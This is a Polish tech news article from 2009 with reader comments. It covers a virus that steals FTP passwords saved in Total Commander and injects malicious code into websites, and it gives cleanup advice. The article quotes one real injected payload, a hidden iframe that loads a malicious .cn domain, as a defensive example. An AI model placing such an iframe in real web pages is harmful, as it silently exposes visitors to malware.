Wirus kradnie hasła w Total Commander i podmienia strony

Dawid Kulbaka, 23-10-2009 | Źródło: Własne

Złośliwy wirus dzięki dziurom w programie Total Commander naraża wydawców internetowych na poważne straty. Ostatnio zwiększył swoją aktywność.

Wirus wykrada hasła z programu Total Commander i dzięki temu ma dostęp do wielu kont internetowych. Jest wysoce prawdopodobne, że problem dotyczy także innych klientów FTP (CuteFTP,  FAR Manager), ale z racji ogromnej popularności Total Commandera to właśnie jemu przypisywana jest ta sytuacja.

Następnie za pomocą połączenia z kontem  FTP oprogramowanie dokleja do witryn złośliwy kod. Najczęściej jest to ukryta ramka iFrame lub skrypt JavaScript.

Przykładowy doklejony kod

<iframe src="http://cheapslotplay.cn/in.cgi?income48" width=1 height=1 style="visibility: hidden"></iframe>

 

W wyniku tych działań strony internetowe mogą być kompletnie sparaliżowane. Zarażone witryny mogą:

  • przekierowywać na strony zewnętrzne (często o tematyce erotycznej);
  • instalować swoim użytkownikom oprogramowanie typu malware;
  • zostać całkowicie unieruchomione (poprzez modyfikacje plików systemowych).

Złośliwe oprogramowanie może poza samymi witrynami zagrażać także stabilności pracy samego konta lub całego serwera.  Dzięki posiadanym danym do konta może zainstalować tam własne skrypty  i przeprowadzać na przykład masową wysyłkę spamu, dokonywać ataków typu brute force czy tworzyć fikcyjne strony bankowe (phishing).

O konsekwencje nie trudno się domyślić. Często witryna jest wykrywana i zgłaszana jako podejrzana - zamiast witryny użytkownicy Firefoksa widzą komunikat „Witryna zgłoszona jako dokonująca ataków", a pozostali są narażeni na zawirusowanie.

Jednym z głośniejszych przykładów tego typu była witryna Pajacyk.pl, która  padła ofiarą omawianego wirusa. Pisaliśmy o tym problemie już pod koniec lutego w artykule Pajacyk.pl jednak z wirusem. Ostatnio jednak przypadki zarażeń i nowych ataków znacznie się nasiliły.

Jak sobie poradzić z tym problemem?

  • usunąć pliki z zainfekowanego komputera wydawcy (najlepiej kilkoma skanerami)
  • zmienić hasła do FTP
  • jeśli możliwe to wpisywać je ręcznie do połączenia FTP
Ocena 2.72/5 (54.39%) (114 głosów)
  • Śledzik
TAGI: przestepczosc   ftp   wirusy  

Komentarze:

  • Treo
    Dodał: Treo data: 2009-10-23
    To prawda. Widziałem już efekt działania tego wirusa czy trojana już pół roku temu. Działa właśnie w taki sposób jak opisano w artykule.

  • Dodał: Gość data: 2009-10-23
    Ostatni zaatakował mi sajt, już drugi raz :( ludzie róbcie backupy
  • maszyna
    Dodał: Gość data: 2009-10-24
    Niepoprawne działanie TC stwierdziłem już rok temu. Niestety pragnę tutaj poprawić redaktorów tego artykułu. Bug działający za pośrednictwem TC przekazuje hasła do botnetu rozpowszechniającego Malware również przy wpisywaniu haseł ręcznie. Dotyczy to szczególnie wersji oprogramowania niższej niż 7.40. Zachęcam wszystkich do uzywania zestawu WinSCP + KeepPass.

  • Dodał: Gość data: 2009-10-28
    co to
  • emte
    Dodał: Gość data: 2009-10-30
    dwa tygodnie temu miałem okazję poznać się bliżej z tym dziadostwem. Mozolna praca z usuwaniem dodanych wpisów, no i oczywiście zmiana haseł do serwerów. Po tym zdarzeniu nie trzymam już raczej haseł do ftp w klientach. W moim przypadku był to właśnie TC - jemu przypisuję zasługę.
  • wirus
    Dodał: Gość data: 2009-11-17
    Właśnie się o tym przekonałem, ale przez FileZilla. Ładowałem www, aktualizację i kicha. Firma którą obsługuję miała do mnie pretensje że ciągle są ataki. I tu był problem.
  • Kod
    Dodał: Stahu data: 2009-12-16
    Ja ostatnio miałem taki problem, Wirus edytował mi wszystkie index.html i index.php doklejając kody skryptowe, <bb1> i <bb2> mase wirusów, w różnych katalogach obce pliki, test i literowo cyfrowe pliki, Ciekawostką jest to że zawsze przed połączeniem do ftp musze hasło wpisać ręcznie z głowy, Wiec jak to się stało że mi coś wykradło wirusa.
  • Jak się ochronić?
    Dodał: Gość data: 2010-04-08
    Żeby skutecznie się zabezpieczyć, po wgraniu plików na serwer, należy dla nich ustawić CHMOD na 444.
    Szczególnie dotyczy to plików, mających w nazwie "index" oraz plików z rozszerzeniem .js


Dodaj komentarz:


Temat:
Twój nick:
Komentarz:
 

Prosimy o kulturę wypowiedzi. Komentarze zawierające niecenzuralne zwroty, bądź obrażające inne osoby będą usuwane. Kod HTML w wypowiedziach jest niedozwolony. Wydawca nie odpowiada za treść komentarzy.

 


Najlepiej oceniane newsy

Najnowsze wiadomości